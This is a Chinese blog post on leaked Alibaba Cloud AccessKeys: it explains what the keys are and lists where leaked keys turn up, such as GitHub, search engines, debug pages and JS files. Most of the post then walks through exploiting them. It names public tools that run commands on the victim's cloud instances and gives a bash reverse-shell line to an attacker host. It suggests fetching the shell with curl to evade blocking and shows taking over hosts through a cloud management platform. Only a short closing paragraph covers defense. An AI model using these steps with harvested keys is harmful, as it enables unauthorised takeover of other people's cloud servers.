由access key泄露浅谈云安全

accesskey基础

什么是accesskey?

访问密钥AccessKey(AK)相当于登录密码,只是使用场景不同。AccessKey用于程序方式调用云服

务API,而登录密码用于登录控制台。如果您不需要调用API,那么就不需要创建AccessKey。

由access key泄露浅谈云安全_第1张图片

 

accessky创建步骤:

使用云账号登录RAM控制台。

在左侧导航栏的人员管理菜单下,单击用户。

在用户登录名称/显示名称列表下,单击目标RAM用户名称。

在用户AccessKey区域下,单击创建AccessKey。

tips:

首次创建时需填写手机验证码。

AccessKey Secret只在创建时显示,不提供查询,请妥善保管。

如果AccessKey泄露或丢失,则需要创建新的AccessKey,最多可以创建2个AccessKey。

由access key泄露浅谈云安全_第2张图片

 

accesskey泄露

accesskey泄露主要有两种途径:1.硬编码在代码里 2.第三方存储

获取泄露密钥的方式有很多,和常规的信息收集并无二致。如:

fofa

由access key泄露浅谈云安全_第3张图片

 

google

由access key泄露浅谈云安全_第4张图片

 

github

由access key泄露浅谈云安全_第5张图片

 

debug或者报错页面

由access key泄露浅谈云安全_第6张图片

 

phpinfo

由access key泄露浅谈云安全_第7张图片

 

js文件

由access key泄露浅谈云安全_第8张图片

 

一种自动化利用方式

github上有accesskey的自动化工具,地址:

https://github.com/mrknow001/aliyun-accesskey-Tools

填入收集到的ID和Secret,获得一个实例ID

由access key泄露浅谈云安全_第9张图片

 

在工具中尝试bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

由access key泄露浅谈云安全_第10张图片

 

在公网vps上开启监听

由access key泄露浅谈云安全_第11张图片

 

最简单的利用如上,但实际情况下这样的bash命令往往会被拦截,这里提供一种思路:

采用curl的方式将反弹命令下载到本地运行

另一个工具:

https://github.com/iiiusky/alicloud-tools/releases

使用方法:

查看所有实例信息:

AliCloud-Tools.exe -a  -s  ecs --list

执行命令:

AliCloud-Tools.exe -a  -s  ecs exec -I <实例ID> -c "执行命令"

供参考

通过云管平台获取权限

步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可

由access key泄露浅谈云安全_第12张图片

 

此处以行云管家为例:

由access key泄露浅谈云安全_第13张图片

 由access key泄露浅谈云安全_第14张图片

 由access key泄露浅谈云安全_第15张图片

 由access key泄露浅谈云安全_第16张图片

 

到最后一步即可获取系统权限

accesskey泄露防御方案

针对第二节的泄露途径,我们不难想到一劳永逸的办法是不要在代码里写入accesskey

大概的思路可以是:将acesskey保存在配置中心中,不让开发触碰到accesskey,使用sdk,以其它凭据获取需调用的accesskey。

当然在实际场景中,如nodejs业务不支持accesskey的调用,日志入库需要直接使用accesskey等等情况也不一而足,具体的防御方案实现也离不开具体的场景,本文仅做抛砖引玉,希望给同行提供一种思路,欢迎讨论,谢谢。

你可能感兴趣的:(网络安全,网络安全,http,网络协议,ssl,https)